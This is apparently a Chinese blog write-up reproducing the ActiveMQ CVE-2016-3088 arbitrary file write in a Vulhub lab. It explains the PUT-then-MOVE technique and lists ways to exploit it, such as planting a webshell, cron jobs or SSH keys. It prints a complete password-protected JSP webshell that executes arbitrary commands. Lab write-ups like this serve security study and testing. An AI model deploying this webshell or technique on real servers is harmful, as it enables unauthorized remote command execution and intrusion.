CVE-2016-3088漏洞復現

2023-04-25 21:00:42

1.背景介紹。

ActiveMQ的web控制檯分三個應用,admin、api和fileserver,其中admin是管理員頁面,api是介面,fileserver是儲存檔案的介面;admin和api都需要登入後才能使用,fileserver無需登入。

fileserver是一個RESTful API介面,我們可以通過GET、PUT、DELETE等HTTP請求對其中儲存的檔案進行讀寫操作,其設計目的是為了彌補訊息佇列操作不能傳輸、儲存二進位制檔案的缺陷,但後來發現:

  1. 其使用率並不高
  2. 檔案操作容易出現漏洞

所以,ActiveMQ在5.12.x~5.13.x版本中,已經預設關閉了fileserver這個應用(你可以在conf/jetty.xml中開啟之);在5.14.0版本以後,徹底刪除了fileserver應用。

在測試過程中,可以關注ActiveMQ的版本,避免走彎路。

2.環境介紹。

採用kali搭建Vulhub靶場。

靶機:127.0.0.1

環境監聽61616埠和8161埠,其中8161為web控制檯埠,本漏洞就出現在web控制檯中。

存取http://172.18.0.1:8161/看到web頁面,說明環境已成功執行。

3.漏洞復現。

本漏洞出現在fileserver應用中,漏洞原理其實非常簡單,就是fileserver支援寫入檔案(但不解析jsp),同時支援移動檔案(MOVE請求)。所以,我們只需要寫入一個檔案,然後使用MOVE請求將其移動到任意位置,造成任意檔案寫入漏洞。

檔案寫入有幾種利用方法:

  1. 寫入webshell
  2. 寫入cron或ssh key等檔案
  3. 寫入jar或jetty.xml等庫和組態檔

寫入webshell的好處是,門檻低更方便,但前面也說了fileserver不解析jsp,admin和api兩個應用都需要登入才能存取,所以有點雞肋;寫入cron或ssh key,好處是直接反彈拿shell,也比較方便,缺點是需要root許可權;寫入jar,稍微麻煩點(需要jar的後門),寫入xml組態檔,這個方法比較靠譜,但有個雞肋點是:我們需要知道activemq的絕對路徑。

分別說一下上述幾種利用方法。

(1)寫入webshell

我們首先要通過賬號密碼登入

賬號:admin
密碼:admin

之後存取http://127.0.0.1:8161/admin/test/systemProperties.jsp來獲取真實路徑

進入/fileserver/目錄,抓包寫入webshell

<%
// 如果請求引數pwd的值為"023"
if("023".equals(request.getParameter("pwd"))){
    // 獲取執行命令的引數i
    String cmd = request.getParameter("i");
    // 執行命令並獲取子程序的輸入流
    java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    // 輸出<pre>標籤
    out.print("<pre>");
    // 讀取子程序的輸出流並輸出
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
    // 輸出</pre>標籤
    out.print("</pre>");
}
%>

注意這時我們雖然寫入檔案,但我們去存取這個檔案時會發現.txt檔案並沒有被解析

 所以我們還需要將這個檔案去移動到一個有執行jsp檔案許可權的目錄下,這時我們就用到了我們在之前查詢到的真實路徑,還是通過抓包來操作

 我們將webshell寫入api目錄下,進入/api/檢視

 寫入成功,進入後根據小馬引數構建命令即可

 除此之外,還有其他兩種方法利用,但筆者在復現過程中遇到問題較多,沒有進行下去,哪位大佬有成功浮現的,踢我一下。